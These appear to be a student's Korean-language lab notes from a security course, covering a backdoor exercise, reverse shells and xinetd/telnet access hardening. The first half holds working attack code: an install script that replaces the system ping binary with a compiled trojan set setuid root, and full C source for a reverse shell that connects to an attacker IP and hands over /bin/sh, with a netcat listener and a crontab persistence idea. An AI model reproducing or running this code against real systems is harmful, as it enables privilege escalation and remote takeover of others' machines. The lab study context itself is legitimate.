2024.04.30.화.보안 day21
지각
yum install vim-common
ㄴ GNS mini rocky NAT 기본 초기 환경 설정
백도어 실습
vi install.sh
#!/bin/bash
if [ -f /usr/bin/.ping ]
then
echo "이미 설치되어 있습니다"
else
mkdir /backup
cp -a /usr/bin/ping /backup
gcc -o /rootkit/fping /rootkit/fping.c || exit
mv /usr/bin/ping /usr/bin/.ping
mv /rootkit/fping /usr/bin/ping
chmod 4755 /usr/bin/ping
fi
59 ll
60 chmod 755 install.sh
61 ll
62 ll /backup
63 ./install.sh
64 ll /backup
65 ping 127.0.0.1
68 ping SEVAS pwd
[root@localhost ~]# cd /rootkit
[root@localhost rootkit]# rm -rf fping ping
[root@localhost rootkit]# rm -rf /backup
[root@localhost rootkit]# vi install.sh
#!/bin/bash
if [ -f /usr/bin/.ping ]
then
echo "이미 설치되어 있습니다"
else
mkdir /backup
cp -a /usr/bin/ping /backup
gcc -o /rootkit/fping /rootkit/fping.c || exit
mv /usr/bin/ping /usr/bin/.ping
mv /rootkit/fping /usr/bin/ping
chmod 4755 /usr/bin/ping
fi
[root@localhost rootkit]# chmod 755 install.sh
[root@localhost rootkit]# ll
합계 40
-rwsr-xr-x 1 root root 8464 4월 30 11:35 back
-rw-r--r-- 1 root root 79 4월 30 11:35 back.c
-rw-r--r-- 1 root root 590 4월 30 13:30 fping.c
-rwsr-xr-x 1 root root 8464 4월 30 11:24 geruid
-rw-r--r-- 1 root root 144 4월 30 11:24 getuid.c
-rwxr-xr-x 1 root root 282 4월 30 13:39 install.sh
tripwire무결성검사 도구
rootkit같은 공격(권한상승 )을 막는것이 tripwire이다. (2:29)
리버스 공격: 상대방의 권한을 이용한다 -> 권한을 주는 개념이 아니다
[root@localhost rootkit]# vi revers.c
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
int main(int argc, char* argv[])
{
struct sockaddr_in server_addr;
int server_sock;
int client_len;
char buf[80];
char rbuf[80];
char *cmd[2] = {"/bin/sh", (char *)0};
server_sock = socket(AF_INET, SOCK_STREAM, 6); // 통신 설정 소켓설정
server_addr.sin_family = AF_INET; //네트워크 대역
server_addr.sin_addr.s_addr = inet_addr("20.20.20.200"); //공격자
server_addr.sin_port=htons(atoi("9000")); //포트
client_len = sizeof(server_addr);
connect(server_sock, (struct sockaddr *)&server_addr, client_len); //tcp 연결 3way
dup2(server_sock, 0);
dup2(server_sock, 1);
dup2(server_sock, 2);
execve("/bin/sh", cmd, 0); // root 권한실행
return 0;
}
[root@localhost rootkit]# gcc -o revers revers.c
칼리 ) nc -lvp 9000
미니) ./revers
칼리) 아무거나 쳐도 다 나와 ex) cat /etc/passwd
응용 crontab 으로 응용가능
이제 inet , xinet ~
122 yum install xinetd
123 rpm -qa |grep xinet
125 rpm -ql xinetd
126 rpm -qf /etc/xinetd.conf
127 service xinted restart
128 yum install telnet-server
129 rpm -qa |grep telnet
130 service xinted restart
131 netstat -lntup
132 cd /etc/xinetd.d
133 ll
135 rpm -ql telnet-server
137 rpm -ql xinetd
140 cat /usr/share/doc/xinetd-2.3.15/sample.conf |grep telnet -A 10
[root@localhost xinetd.d]# vi telnet
[root@localhost xinetd.d]# cat telnet
service telnet
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
disabled = yes
}
130 service xinted restart
131 netstat -lntup
vi /etc/xinetd.conf
telnet연결확인
[서버연결]
mini에서 방화벽 설정하기
153 cd ~
154 firewall-cmd --list all
156 firewall-cmd --permanent --add-port 23/tcp
157 firewall-cmd --reload
158 firewall-cmd --list all
록키에서 telent 10.10.10.10 하고 sevas 들어가지는것 확인
[서버설정]
cd /etc/xinetd.d
166 mkdir /backup
167 cp -a /etc/xinetd.conf /backup
168 vi /etc/xinetd.conf
169 service xinetd restart
170 telnet 10.10.10.10
171 vi /etc/xinetd.conf
이렇게 no accees와 only_from 으로 접속가능한ㅇ ip를 조정한다
이번에는 cps를 수정해보자
* cps = count permit seconds 1초당 접속 허용횟수에 대한 제한시간
* instances 최대 접속 세션수
* per_source 출발지 IP 1개당 최대 접속수
수정하면 service xinetd restart 필수